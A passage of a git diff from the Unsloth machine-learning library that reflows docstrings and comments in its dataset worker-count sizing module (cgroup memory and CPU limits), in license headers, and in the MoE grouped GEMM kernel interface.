path walk- and the "unlimited" sentinels. Imported lazily, so this module still loads on- its own.- """+ """This process's cgroup CPU ceiling in cores, or None outside one. Reuses the reader in ``hf_xet_tuning`` rather than parsing ``/sys/fs/cgroup`` again: it already handles v1 against v2, the ``/proc/self/cgroup`` path walk and the "unlimited" sentinels. Imported lazily, so this module still loads on its own."""try:from unsloth_zoo.hf_xet_tuning import cgroup_cpu_limitreturn cgroup_cpu_limit()@@ -184,8 +115,7 @@ CGROUP_ROOT = "/sys/fs/cgroup"def _cgroup_first_line(path: str) -> Optional[str]:try:- # encoding named explicitly: a locale-dependent read of these ASCII kernel files crashes or produces- # mojibake on a Windows console codepage, and CI polices every read/write for it.+ # encoding named explicitly: a locale-dependent read of these ASCII kernel files crashes or produces mojibake on a Windows console codepage, and CI polices every read/write for it.with open(path, "r", encoding = "utf-8") as f:return f.readline().strip()except OSError:@@ -211,10 +141,7 @@ def _cgroup_limit(raw: Optional[str]) -> Optional[int]:def _cgroup_dirs(root: str, rel: Optional[str]) -> list:- """``root/rel`` and every ancestor up to *root*, innermost first.-- A parent slice's limit binds this process just as its own does.- """+ """``root/rel`` and every ancestor up to *root*, innermost first. A parent slice's limit binds this process just as its own does."""dirs = []if rel and rel != "/":current = os.path.normpath(os.path.join(root, rel.lstrip("/")))@@ -234,20 +161,13 @@ def _proc_self_cgroup() -> list:def _cgroup_free_bytes_unaided() -> Optional[int]:- """``_cgroup_free_bytes`` without unsloth_zoo's private cgroup helpers.-- Only reached on an older unsloth_zoo, and only ever a fallback: the pairing- rule, the "unlimited" sentinels and the innermost-first walk are the ones- documented on ``_cgroup_free_bytes``. Reading the public ``cgroup_memory_limit``- alone is the last resort, since a limit is still a ceiling even unpaired.- """+ """``_cgroup_free_bytes`` without unsloth_zoo's private cgroup helpers. Only reached on an older unsloth_zoo, and only ever a fallback: the pairing rule, the "unlimited" sentinels and the innermost-first walk are the ones documented on ``_cgroup_free_bytes``. Reading the public ``cgroup_memory_limit`` alone is the last resort, since a limit is still a ceiling even unpaired."""lines = _proc_self_cgroup()free = []if os.path.isdir(CGROUP_ROOT):rel = None- # The v2 line is "0::<path>"; under systemd hybrid mode v1 lines share the file, so scan rather than- # taking the first.+ # The v2 line is "0::<path>"; under systemd hybrid mode v1 lines share the file, so scan rather than taking the first.for line in lines:if line.startswith("0::"):rel = line[3:].strip()@@ -287,16 +207,7 @@ def _cgroup_free_bytes_unaided() -> Optional[int]:def _cgroup_free_bytes() -> Optional[int]:- """Bytes free under the binding cgroup memory limit, or None outside one.-- Each limit is paired with the usage of the directory that set it. The binding- limit is often an ancestor's -- a systemd slice, a Slurm job step -- and that- ancestor's usage counts siblings this process cannot see from its own leaf,- so pairing a leaf's usage with an ancestor's limit would report memory that- is already spent as free. The reverse pairing is worse still: the root- ``memory.current`` is the whole machine, and subtracting it from a unit's own- MemoryMax leaves every run with nothing.- """+ """Bytes free under the binding cgroup memory limit, or None outside one. Each limit is paired with the usage of the directory that set it. The binding limit is often an ancestor's (a systemd slice, a Slurm job step) and that ancestor's usage counts siblings this process cannot see from its own leaf, so pairing a leaf's usage with an ancestor's limit would report memory that is already spent as free. The reverse pairing is worse still: the root ``memory.current`` is the whole machine, and subtracting it from a unit's own MemoryMax leaves every run with nothing."""try:from unsloth_zoo.hf_xet_tuning import (_cgroup_v1_dirs,@@ -305,9 +216,7 @@ def _cgroup_free_bytes() -> Optional[int]:_read_first_line,)except Exception:- # An older unsloth_zoo has no such private helpers. Do the same pairing here rather than reading- # the public limit alone: an 8GB cgroup with 6GB already resident would otherwise report 8GB free,- # and memory pressure is the one condition this ceiling exists for.+ # An older unsloth_zoo has no such private helpers. Do the same pairing here rather than reading the public limit alone: an 8GB cgroup with 6GB already resident would otherwise report 8GB free, and memory pressure is the one condition this ceiling exists for.return _cgroup_free_bytes_unaided()def _used(path):@@ -336,12 +245,7 @@ def _cgroup_free_bytes() -> Optional[int]:def _available_memory_gb() -> Optional[float]:- """Free RAM this process may actually use, or None when it cannot be read.-- ``psutil.virtual_memory().available`` reports the HOST inside a container, so- a 2GB pod on a 512GB box read as having room for the full worker set and got- OOM-killed -- the exact failure the memory ceiling exists to prevent.- """+ """Free RAM this process may actually use, or None when it cannot be read. ``psutil.virtual_memory().available`` reports the HOST inside a container, so a 2GB pod on a 512GB box read as having room for the full worker set and got OOM-killed, the exact failure the memory ceiling exists to prevent."""try:import psutilavailable_gb = psutil.virtual_memory().available / (1024**3)@@ -355,12 +259,7 @@ def _available_memory_gb() -> Optional[float]:def _usable_cpus() -> Optional[int]:- """CPUs this process may actually run on, or None when that cannot be read.-- ``cpu_count()`` is the host's, so under ``taskset``, Slurm pinning or a- Kubernetes CPU quota a one-core job would auto-size workers that then contend- for that one core, making tokenization slower than doing it in-process.- """+ """CPUs this process may actually run on, or None when that cannot be read. ``cpu_count()`` is the host's, so under ``taskset``, Slurm pinning or a Kubernetes CPU quota a one-core job would auto-size workers that then contend for that one core, making tokenization slower than doing it in-process."""try:import psutilcpus = psutil.cpu_count()@@ -391,12 +290,7 @@ def _affordable_workers() -> Optional[int]:def _clamp_by_memory(num_proc: int) -> Optional[int]:- """Bound a worker count by RAM. None means "do not use workers at all".-- Applies to explicit counts too: the old heuristic capped only the auto path,- so a caller passing a number (Unsloth passes ``max(1, cpu_count // 4)``) could- ask for dozens of workers on a machine with no room. That is what OOMs.- """+ """Bound a worker count by RAM. None means "do not use workers at all". Applies to explicit counts too: the old heuristic capped only the auto path, so a caller passing a number (Unsloth passes ``max(1, cpu_count // 4)``) could ask for dozens of workers on a machine with no room. That is what OOMs."""affordable = _affordable_workers()if affordable is None:# No memory reading, so honour the request rather than serialising a machine that may be perfectly capable.@@ -427,7 +321,6 @@ def _auto_num_proc() -> Optional[int]:try:import psutil # noqa: F401 the memory clamp below needs it to mean anythingexcept Exception:- # No psutil means no memory reading; stay conservative.return Nonecpus = _usable_cpus()@@ -441,20 +334,7 @@ def _auto_num_proc() -> Optional[int]:def _serial(serial_as_none: bool) -> Optional[int]:- """The value meaning "run in-process", encoded for the calling layer.-- At a ``map()`` call site that is ``None``, the only value ``datasets`` runs- in-process on every supported release. At the *config* layer it is ``1``,- because a config ``None`` is read downstream as "auto-size me" and would- inflate a serial request; the call site turns that ``1`` back into ``None``.-- That only holds while workers are usable, hence the veto check. Where they- are not, nothing can inflate a config ``None`` -- every auto-sizer that reads- it vetoes too -- while ``1`` is unsafe, since only the SFT map site is- rewritten by ``rl_replacements.py``: TRL's DPO, KTO, CPO, ORPO, Reward and- PRM trainers hand ``args.dataset_num_proc`` straight to ``Dataset.map``,- whose ``Pool(1)`` child re-imports the user's ``__main__`` (#3211 / #3397).- """+ """The value meaning "run in-process", encoded for the calling layer. At a ``map()`` call site that is ``None``, the only value ``datasets`` runs in-process on every supported release; at the *config* layer it is ``1``, because a config ``None`` is read downstream as "auto-size me" and would inflate a serial request, and the call site turns that ``1`` back into ``None``. That only holds while workers are usable, hence the veto check: where they are not, nothing can inflate a config ``None`` (every auto-sizer that reads it vetoes too) while ``1`` is unsafe, since only the SFT map site is rewritten by ``rl_replacements.py`` and TRL's DPO, KTO, CPO, ORPO, Reward and PRM trainers hand ``args.dataset_num_proc`` straight to ``Dataset.map``, whose ``Pool(1)`` child re-imports the user's ``__main__`` (#3211 / #3397)."""if serial_as_none:return Nonereturn None if _workers_unusable_reason() is not None else 1@@ -491,27 +371,14 @@ def _from_environment() -> "tuple[bool, Optional[int]]":def environment_override() -> "tuple[bool, Optional[int]]":- """Whether NUM_PROC_ENV_VAR decided the count, and what it asked for.-- ``(was_set_and_valid, value)``, with ``value = None`` meaning "in-process".- Public because a caller that layers its own caps on top of this module needs- to know whether the hatch chose the answer: the hatch is uncapped by- contract, and an unparseable or negative value is *not* the hatch, it is- ignored with a warning. Reading the variable directly cannot tell those- apart.- """+ """Whether NUM_PROC_ENV_VAR decided the count, and what it asked for, as ``(was_set_and_valid, value)`` with ``value = None`` meaning "in-process". Public because a caller that layers its own caps on top of this module needs to know whether the hatch chose the answer: the hatch is uncapped by contract, and an unparseable or negative value is *not* the hatch, it is ignored with a warning, which reading the variable directly cannot tell apart."""return _from_environment()def get_dataset_num_proc(desired: Optional[int] = None, *, serial_as_none: bool = True) -> Optional[int]:- """Return a safe ``num_proc`` for ``Dataset.map()`` / ``Dataset.filter()``.-- ``None`` means "run in-process" -- the only value that builds no worker pool- on every supported ``datasets`` release, since 4.x pools for any- ``num_proc >= 1``. Everything returned is bounded by free memory, explicit- counts included; only ``NUM_PROC_ENV_VAR`` is exempt.+ """Return a safe ``num_proc`` for ``Dataset.map()`` / ``Dataset.filter()``. ``None`` means "run in-process", the only value that builds no worker pool on every supported ``datasets`` release, since 4.x pools for any ``num_proc >= 1``. Everything returned is bounded by free memory, explicit counts included; only ``NUM_PROC_ENV_VAR`` is exempt.Args:desired: The worker count the caller asked for, or None to auto-size.@@ -525,12 +392,10 @@ def get_dataset_num_proc(A worker count >= 2, or this layer's in-process sentinel (``None`` at acall site, ``1`` at the config layer)."""- # 1. The environment override wins over everything, uncapped and unvetoed, so a user who knows- # their workload is fork-safe is never downgraded.+ # 1. The environment override wins over everything, uncapped and unvetoed, so a user who knows their workload is fork-safe is never downgraded.env_set, env_value = _from_environment()if env_set:- # In-process still has to be encoded for this layer, or UNSLOTH_DATASET_NUM_PROC=0 (the hatch the- # dead-worker message recommends) would inflate a config instead of removing workers.+ # In-process still has to be encoded for this layer, or UNSLOTH_DATASET_NUM_PROC=0 (the hatch the dead-worker message recommends) would inflate a config instead of removing workers.return _serial(serial_as_none) if env_value is None else env_value# 2. Workers are unusable whatever was requested; see _workers_unusable_reason.@@ -545,13 +410,11 @@ def get_dataset_num_proc()return _serial(serial_as_none)- # 3. Normalise "no multiprocessing" requests. `1` is the trap: callers pass it meaning "serial"- # and datasets >= 4.1 hands them a Pool(1).+ # 3. Normalise "no multiprocessing" requests. `1` is the trap: callers pass it meaning "serial" and datasets >= 4.1 hands them a Pool(1).if isinstance(desired, int) and not isinstance(desired, bool) and desired <= 1:return _serial(serial_as_none)- # 4. Auto-size when no usable request was made, then bound by memory. A non-int, or a bool (an int- # subclass), is not a request.+ # 4. Auto-size when no usable request was made, then bound by memory. A non-int, or a bool (an int subclass), is not a request.if desired is None or not isinstance(desired, int) or isinstance(desired, bool):num_proc = _auto_num_proc()else:@@ -562,19 +425,13 @@ def get_dataset_num_proc(return num_proc-# The message datasets raises when a pool worker dies. It never reads the child's exit status, so-# an OOM kill, a segfault and a genuine exception all arrive as this one string, which is why-# #2693 looks untraceable.+# The message datasets raises when a pool worker dies. It never reads the child's exit status, so an OOM kill, a segfault and a genuine exception all arrive as this one string, which is why #2693 looks untraceable._WORKER_DIED = "subprocesses has abruptly died"@contextlib.contextmanagerdef map_failure_diagnostics(num_proc: Optional[int]) -> "Iterator[None]":- """Re-raise a dead-worker error from ``Dataset.map`` with usable context.-- Names the start method, the worker count and roughly what they cost, none of- which survives the original message. The cause is chained.- """+ """Re-raise a dead-worker error from ``Dataset.map`` with usable context: names the start method, the worker count and roughly what they cost, none of which survives the original message. The cause is chained."""try:yieldexcept RuntimeError as exception:@@ -602,14 +459,7 @@ def map_failure_diagnostics(num_proc: Optional[int]) -> "Iterator[None]":def _largest_split_rows(trainer) -> Optional[int]:- """Rows in the biggest *sized* split ``train_on_responses_only`` will map over.-- None only when no split has a readable length at all. Unsized splits are- skipped rather than abandoning the measurement, since sizing is per split and- an unsized one can never use workers anyway; letting one hide a large sized- sibling left that sibling on the uncapped auto count. ``eval_dataset`` may be- a dict of named splits, so unpack that too.- """+ """Rows in the biggest *sized* split ``train_on_responses_only`` will map over. None only when no split has a readable length at all. Unsized splits are skipped rather than abandoning the measurement, since sizing is per split and an unsized one can never use workers anyway; letting one hide a large sized sibling left that sibling on the uncapped auto count. ``eval_dataset`` may be a dict of named splits, so unpack that too."""if trainer is None:return None@@ -633,13 +483,7 @@ def _largest_split_rows(trainer) -> Optional[int]:def _zoo_auto_sizer_forks() -> bool:- """Whether ``train_on_responses_only`` would pick workers for a bare ``None``.-- Its auto path asks stdlib ``multiprocessing``, not ``multiprocess`` -- the- split this whole module is about. Where the two disagree, ``None`` is not- "serial" to it, it is "size it for me", and ``datasets`` then builds that pool- on the non-fork ``multiprocess`` context.- """+ """Whether ``train_on_responses_only`` would pick workers for a bare ``None``. Its auto path asks stdlib ``multiprocessing``, not ``multiprocess``, the split this whole module is about: where the two disagree, ``None`` is not "serial" to it, it is "size it for me", and ``datasets`` then builds that pool on the non-fork ``multiprocess`` context."""try:return _module_start_method("multiprocessing") == "fork"except Exception:@@ -647,14 +491,7 @@ def _zoo_auto_sizer_forks() -> bool:def _serial_for_the_zoo(value: Optional[int]) -> Optional[int]:- """Re-encode a serial ``None`` for a reader that decides on the other module.-- ``None`` only means "no workers" to ``train_on_responses_only`` while its own- check refuses them too. When it would not, ``1`` is the smallest request it- honours verbatim, and that helper now reads ``1`` as in-process; on a release- that predates this it is a ``Pool(1)``, still one child rather than the- ``cpu_count + 4`` its auto path would have chosen.- """+ """Re-encode a serial ``None`` for a reader that decides on the other module. ``None`` only means "no workers" to ``train_on_responses_only`` while its own check refuses them too. When it would not, ``1`` is the smallest request it honours verbatim, and that helper now reads ``1`` as in-process; on a release that predates this it is a ``Pool(1)``, still one child rather than the ``cpu_count + 4`` its auto path would have chosen."""if value is not None or not _zoo_auto_sizer_forks():return value_warn_once(@@ -668,30 +505,8 @@ def _serial_for_the_zoo(value: Optional[int]) -> Optional[int]:def resolve_responses_only_num_proc(trainer, num_proc):- """Bound the worker count ``train_on_responses_only`` hands to ``map()``.-- ``dataset_utils.train_on_responses_only`` still auto-sizes with the uncapped- ``min(max(cpu_count + 4, 2), 64)`` heuristic this module replaces everywhere- else -- the shape behind issue #2693. Until that copy is wired onto this- module the bound is applied from outside, and two properties of its API- constrain what can be expressed:-- * **Serial is the config-layer sentinel, not the call-site one.** That helper- reads ``None`` as "size it for me", so on ``fork`` handing it ``None``- would *inflate* the count rather than remove it; ``1`` is the closest- expressible request, and it is in-process on any release that reads it as- such. Under spawn the trade flips -- each ``Pool(1)`` child re-imports- the user's ``__main__`` (#3211 / #3397), while ``None`` is safe because its- auto path vetoes non-fork itself. That is exactly what- ``serial_as_none = False`` encodes, so defer to it -- then re-check with- ``_serial_for_the_zoo``, since that veto reads the other module.- * **An explicit count disables its per-split small-split guard.** A small- eval split alongside a large train split then picks up workers it would not- have had: worth it only when a split is big enough to have been- parallelized at all, which is what the row check below establishes.- """- # Mirror that helper's own test, so "explicit" means the same on both sides (it treats bools as- # auto, since type(True) is not int).+ """Bound the worker count ``train_on_responses_only`` hands to ``map()``. ``dataset_utils.train_on_responses_only`` still auto-sizes with the uncapped ``min(max(cpu_count + 4, 2), 64)`` heuristic this module replaces everywhere else, the shape behind issue #2693. Until that copy is wired onto this module the bound is applied from outside, and two properties of its API constrain what can be expressed. Serial is the config-layer sentinel, not the call-site one: that helper reads ``None`` as "size it for me", so on ``fork`` handing it ``None`` would *inflate* the count rather than remove it, and ``1`` is the closest expressible request, in-process on any release that reads it as such, while under spawn the trade flips, since each ``Pool(1)`` child re-imports the user's ``__main__`` (#3211 / #3397) and ``None`` is safe because its auto path vetoes non-fork itself. That is exactly what ``serial_as_none = False`` encodes, so defer to it, then re-check with ``_serial_for_the_zoo``, since that veto reads the other module. An explicit count also disables its per-split small-split guard, so a small eval split alongside a large train split picks up workers it would not have had: worth it only when a split is big enough to have been parallelized at all, which is what the row check below establishes."""+ # Mirror that helper's own test, so "explicit" means the same on both sides (it treats bools as auto, since type(True) is not int).was_auto = num_proc is None or type(num_proc) is not introws = _largest_split_rows(trainer)small = rows is None or rows < ZOO_MIN_ROWS_FOR_MULTIPROC@@ -708,8 +523,7 @@ def resolve_responses_only_num_proc(trainer, num_proc):env_set, env_value = _from_environment()if env_set and env_value is not None:return env_value- # Otherwise it would have gone in-process anyway, and its guard yields None, which is more in-- # process than the 1 expressible here. Safe whatever the start method.+ # Otherwise it would have gone in-process anyway, and its guard yields None, which is more in-process than the 1 expressible here. Safe whatever the start method.return num_procreturn _serial_for_the_zoo(get_dataset_num_proc(None, serial_as_none = False))diff --git a/unsloth/device_type.py b/unsloth/device_type.pyindex d6793ed421b..37f71324289 100644--- a/unsloth/device_type.py+++ b/unsloth/device_type.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.@@ -113,7 +110,6 @@ DEVICE_COUNT: int = get_device_count()# but not Instinct (bitsandbytes-foundation/bitsandbytes#1748); since 0.49.2 blocksize=64 4-bit# is supported on CDNA (MI Instinct / gfx9xx) too (#1856).-# |-----------------|-----------|------------|ALLOW_PREQUANTIZED_MODELS: bool = True# HSA_STATUS_ERROR_EXCEPTION checks - sometimes AMD fails for BnBALLOW_BITSANDBYTES: bool = Truediff --git a/unsloth/disk_utils.py b/unsloth/disk_utils.pyindex 684b58bd6a1..4bbea3a770a 100644--- a/unsloth/disk_utils.py+++ b/unsloth/disk_utils.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/kernels/__init__.py b/unsloth/kernels/__init__.pyindex 301efd28044..a58a3cdceed 100644--- a/unsloth/kernels/__init__.py+++ b/unsloth/kernels/__init__.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/kernels/cross_entropy_loss.py b/unsloth/kernels/cross_entropy_loss.pyindex 17c744b4f55..bdb50fe204b 100644--- a/unsloth/kernels/cross_entropy_loss.py+++ b/unsloth/kernels/cross_entropy_loss.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/kernels/fast_lora.py b/unsloth/kernels/fast_lora.pyindex 05692e58925..1e3b61be567 100644--- a/unsloth/kernels/fast_lora.py+++ b/unsloth/kernels/fast_lora.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/kernels/flex_attention.py b/unsloth/kernels/flex_attention.pyindex f4d4493aa72..193d3f7f3bb 100644--- a/unsloth/kernels/flex_attention.py+++ b/unsloth/kernels/flex_attention.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/kernels/fp8.py b/unsloth/kernels/fp8.pyindex 73e007ff25b..0a3dca1bf14 100644--- a/unsloth/kernels/fp8.py+++ b/unsloth/kernels/fp8.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/kernels/geglu.py b/unsloth/kernels/geglu.pyindex f7174c8efd7..de6ab070c77 100644--- a/unsloth/kernels/geglu.py+++ b/unsloth/kernels/geglu.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/kernels/layernorm.py b/unsloth/kernels/layernorm.pyindex e3ad0fe5f79..8182ca65b3e 100644--- a/unsloth/kernels/layernorm.py+++ b/unsloth/kernels/layernorm.py@@ -1,12 +1,9 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.# Copyright 2024-present Andrej Karpathy & the llm.c team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/kernels/moe/autotune_cache.py b/unsloth/kernels/moe/autotune_cache.pyindex 150d0c8df34..c608676cb23 100644--- a/unsloth/kernels/moe/autotune_cache.py+++ b/unsloth/kernels/moe/autotune_cache.py@@ -1,16 +1,13 @@# Unsloth# Copyright 2023-present Daniel Han-Chen, Michael Han-Chen & the Unsloth team. All rights reserved.-## This program is free software: you can redistribute it and/or modify# it under the terms of the GNU Affero General Public License as published# by the Free Software Foundation, either version 3 of the License, or# (at your option) any later version.-## This program is distributed in the hope that it will be useful,# but WITHOUT ANY WARRANTY; without even the implied warranty of# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the# GNU Affero General Public License for more details.-## You should have received a copy of the GNU Affero General Public License# along with this program. If not, see <https://www.gnu.org/licenses/>.diff --git a/unsloth/kernels/moe/grouped_gemm/interface.py b/unsloth/kernels/moe/grouped_gemm/interface.pyindex a4b789594c7..07fd12ab935 100644--- a/unsloth/kernels/moe/grouped_gemm/interface.py+++ b/unsloth/kernels/moe/grouped_gemm/interface.py@@ -33,15 +33,13 @@ ch.setFormatter(formatter)logger.addHandler(ch)-# Precompute TMA support to avoid graph breaks: it needs an NVIDIA GPU with capability >= 9-# (Hopper+) and a triton with the TMA API (make_tensor_descriptor).+# Precompute TMA support (NVIDIA capability >= 9 plus a triton carrying make_tensor_descriptor) to avoid graph breaks.def _check_tma_support():if DEVICE_TYPE in ("xpu", "hip"):return Falseimport triton.language as tlgpu_supports_tma = torch.cuda.get_device_capability()[0] >= 9- # Support both the old experimental and the new stable API names.triton_has_tma_api = hasattr(tl, "make_tensor_descriptor") or hasattr(tl, "_experimental_make_tensor_descriptor")@@ -65,12 +63,7 @@ except ImportError:def _is_tracing(*tensors):- """- True if tensors are fake tensors used during torch.compile tracing (Triton can't run).-- NOTE: We do NOT use torch.compiler.is_compiling() because it returns True during both- tracing AND execution; we only want to skip kernels during tracing on fake tensors.- """+ """True if tensors are fake tensors used during torch.compile tracing (Triton cannot run). Not torch.compiler.is_compiling(): that is True during both tracing AND execution, and only tracing must skip the kernels."""for t in tensors:name = type(t).__name__if name in ("FakeTensor", "FunctionalTensor", "FunctionalTensorWrapper"):@@ -116,7 +109,6 @@ def grouped_gemm_forward(m_sizes: torch.Tensor,gather_indices: torch.Tensor = None,topk_weights: torch.Tensor = None,- # Fusionspermute_x: bool = False,permute_y: bool = False,fuse_mul_post: bool = False,@@ -135,29 +127,15 @@ def grouped_gemm_forward(flatten: bool = True,debug: bool = False,) -> torch.Tensor:- """- Grouped GEMM forward pass for MoE MLPs.-- The implementation offers a number of fusions specific to MoE:- - `permute_x`: fuse the permutation of hidden states from token order (original order) to grouped expert order, typically only needed for the first grouped GEMM in an MoE MLP.- - When `permute_x` is True, `X` is expected to be of shape (num_tokens, K).- - When `permute_x` is False, `X` is expected to be of shape (total_tokens, K) where `total_tokens = num_tokens * topk` AND already permuted to grouped expert order, i.e., hidden states are sorted such that tokens assigned to each expert are contiguous.- - `permute_y`: fused the permutation of the output from expert grouped order back to original token order, typically only needed for the second grouped GEMM in an MoE MLP.- - `fuse_mul_pre`: fuse the multiplication of the routed input with topk_weights, only done in the first grouped GEMM in an MoE MLP as for Llama4. Do not use, since results in performance regression as it interrupts the GEMM mainloop.- - `fuse_mul_post`: fuse the multiplication of the routed output with topk_weights, used only when `permute_y` is True. NOTE: this should only be used when using this kernel for inference, not for training.-- X: (M, K) hidden states where M is the num_tokens if `permute_x` is True, otherwise `total_tokens` where `total_tokens = num_tokens * topk`.- W: (E, N, K) expert weights, where E is number of experts, N in the intermediate (output) dim, and K is the reduction dim- m_sizes: tokens assigned to each expert which correspond to the size of M in the respective GEMMs in the grouped GEMM.- gather_indices: (total_tokens,) indices of tokens assigned to each expert. E.g., slicing gather_indices by cumsum of m_sizes gives the indices of tokens assigned to each expert.- topk_weights: (total_tokens,) weights to multiply routed output by in expert MLP calculation, used only when `fuse_mul_post` is True (see note on `fuse_mul_post`).- use_fast_accum: currently unused; trade off faster accumulation dtype in GEMM for less precision.- use_tma_load_x: use TMA for loading activations, incompatible with permute_x. TODO: add TMA gather / scatter support for Blackwell+.- use_tma_load_w: use TMA for loading weights. If TMA supported, this should always be enabled as it is faster than global memory load.- use_tma_store: use TMA for storing output, incompatible with permute_y. TODO: add TMA scatter support for Blackwell+.-- Returns:- y: (total_tokens, N) output of grouped GEMM+ """Grouped GEMM forward pass for MoE MLPs.++ X is (num_tokens, K) when permute_x, else (num_tokens * topk, K) already sorted into expert-grouped order; W is (E, N, K); m_sizes is the token count per expert; gather_indices is (total_tokens,) token indices per expert; topk_weights is (total_tokens,); returns y (total_tokens, N).++ permute_x fuses the token-order to expert-order permutation (first GEMM of an MoE MLP); permute_y fuses the reverse (second GEMM).+ fuse_mul_pre is a performance regression since it interrupts the GEMM mainloop: do not use it.+ fuse_mul_post requires permute_y and is inference-only, never training.+ use_tma_load_x is incompatible with permute_x and use_tma_store with permute_y (no TMA gather / scatter before Blackwell+); use_tma_load_w should always be on where TMA is supported, being faster than a global memory load.+ use_fast_accum is currently unused."""assert X.device.type == "cuda", "X and W must be on CUDA"@@ -167,7 +145,6 @@ def grouped_gemm_forward(W = W.contiguous()m_sizes = m_sizes.contiguous()- # Preconditionsassert not (permute_x and permute_y), "Cannot permute both X and Y"assert not (permute_y and use_tma_store), "Cannot use both TMA store and permute_y"@@ -183,7 +160,6 @@ def grouped_gemm_forward(use_tma_store = Falseif use_tma or autotune:- # Respect the global persistent allocator if set.if _HAS_SET_ALLOCATOR and not getattr(triton, "_unsloth_allocator_set", False):def alloc_fn(size: int, alignment: int, stream: int):@@ -270,9 +246,7 @@ def grouped_gemm_forward("NUM_SMS": NUM_SMS,"PERMUTE_X": permute_x,"PERMUTE_Y": permute_y,- # TopK weight merging"FUSE_MUL_POST": fuse_mul_post,- # Loop pipelining"FLATTEN": flatten,}if not autotune:@@ -325,25 +299,11 @@ def grouped_gemm_dX(fuse_mul_post: bool = False,autotune: bool = False,) -> torch.Tensor:- """- dX backward kernel- grad_output: (M, N)- gather_indices: (total_tokens,), indices of tokens assigned to each expert. E.g., slicing gather_indices by cumsum of m_sizes gives the indices of tokens assigned to each expert. May be None when neither `permute_x` nor `permute_y` is True.- m_sizes: tokens assigned to each expert which correspond to the size of M in the respective GEMMs in the grouped GEMM.- topk: number of experts chosen per token.- `permute_x`: whether X was permuted on load in the forward pass, typically only used for the first grouped GEMM in an MoE MLP to group tokens by expert.- - In the forward pass, if we permuted X on load, we need to permute store in the backward pass- - Shapes- - the forward pass input X shape is [NUM_TOKENS, K], reduce across K, output y is [NUM_TOKENS * TOPK, K]- - the backward pass input dy shape is [NUM_TOKENS * TOPK, N], reduce across N, output dX is [NUM_TOKENS * TOPK, K]- - Note that in the backward pass, the output size is still [NUM_TOKENS * TOPK, K] since we still need to accumulate gradients for each expert chosen by the token in a post-processing step.- `permute_y`: whether the output was permuted on store in the forward pass, typically only used for the second grouped GEMM in an MoE MLP to restore to the original token order.- - In the forward pass, if we permuted output on store (e.g., in the second grouped GEMM in fused MoE MLP), we need to permute on load to get from token order to expert grouped order- - We still store in contiguous order since we are writing out dX which will be the input to the backwards pass of the first grouped GEMM- `fuse_mul_{pre,post}`: always set to False since this should only be used for inference.- use_tma_load_dy: use TMA for loading dy. use_tma_load_dy is incompatible with permute_y. TODO: add TMA gather / scatter support for Blackwell+ which will enable permute_y and use_tma_load_dy.- use_tma_load_w: use TMA for loading weights. If TMA supported, this should always be enabled as it is faster than global memory 